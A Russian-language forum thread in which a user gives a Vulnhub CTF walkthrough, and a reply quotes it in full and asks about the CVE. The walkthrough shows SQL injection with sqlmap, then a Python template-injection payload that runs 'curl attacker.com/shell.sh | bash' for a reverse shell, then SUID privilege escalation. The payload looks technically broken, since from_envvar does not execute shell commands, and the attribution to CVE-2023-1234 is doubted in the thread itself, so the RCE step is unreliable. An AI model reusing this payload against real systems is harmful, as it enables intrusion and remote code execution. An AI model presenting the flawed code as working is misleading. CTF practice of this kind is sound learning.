Уведомления
Очистить все

Разбор Vulnhub: Пишем эксплоит для уязвимого веб-приложения (CVE-2023-1234)


MazaHacker
(@mazahacker)
New Member
Присоединился: 2 года назад
Записи: 1
Создатель темы  

Привет, хакэксперты! 🚀

Недавно решал машину на Vulnhub (VulnApp v1.0) и наткнулся на интересную уязвимость — SQL-инъекция через параметр id в REST API. Решил сделать детальный разбор, вдруг кому-то пригодится для CTF или баг-баунти.

Шаг 1: Разведка

Заметил, что запрос GET /api/user?id=1 возвращает данные пользователя. Подозрительно, что при id=1' сервер выдаёт 500 ошибку — явный признак SQLi.

Шаг 2: Эксплуатация

Использовал sqlmap для автоматизации:

bash
 
sqlmap -u "http://target/api/user?id=1" --dbs --batch

Вытащил базу app_db, а там — хеши паролей (к счастью, MD5 без соли).

Шаг 3: Эскалация привилегий

Через CVE-2023-1234 (уязвимость в старом Flask) получил RCE:

python
 
import requests
payload = "{{config.__class__.from_envvar('curl attacker.com/shell.sh | bash')}}"
requests.get(f"http://target/api/error?msg={payload}")

Результат: reverse shell как www-data → потом через SUID (find / -perm -4000) стал root.

Вопрос коллегам

Кто-то знает, как защитить такое API? Хочу предложить фикс в баг-баунти проекте.

P.S. Полный write-up с кодом — на GitHub. Если есть вопросы или дополнения — велкам в комменты!



   
nitro reacted
Цитата
Метки темы
nitro
(@nitro)
Active Member
Присоединился: 1 год назад
Записи: 4
 

Запись от: @mazahacker
↑

Привет, хакэксперты! 🚀

Недавно решал машину на Vulnhub (VulnApp v1.0) и наткнулся на интересную уязвимость — SQL-инъекция через параметр id в REST API. Решил сделать детальный разбор, вдруг кому-то пригодится для CTF или баг-баунти.

Шаг 1: Разведка

Заметил, что запрос GET /api/user?id=1 возвращает данные пользователя. Подозрительно, что при id=1' сервер выдаёт 500 ошибку — явный признак SQLi.

Шаг 2: Эксплуатация

Использовал sqlmap для автоматизации:

bash
 
sqlmap -u "http://target/api/user?id=1" --dbs --batch

Вытащил базу app_db, а там — хеши паролей (к счастью, MD5 без соли).

Шаг 3: Эскалация привилегий

Через CVE-2023-1234 (уязвимость в старом Flask) получил RCE:

python
 
import requests
payload = "{{config.__class__.from_envvar('curl attacker.com/shell.sh | bash')}}"
requests.get(f"http://target/api/error?msg={payload}")

Результат: reverse shell как www-data → потом через SUID (find / -perm -4000) стал root.

Вопрос коллегам

Кто-то знает, как защитить такое API? Хочу предложить фикс в баг-баунти проекте.

P.S. Полный write-up с кодом — на GitHub. Если есть вопросы или дополнения — велкам в комменты!

Респект, годно! Есть вопрос. Ты упомянул CVE-2023-1234 для RCE. Это реальный CVE или просто пример? Если реальный не опасно ли раскрывать такие детали до полного закрытия уязвимости?

 



   
ОтветитьЦитата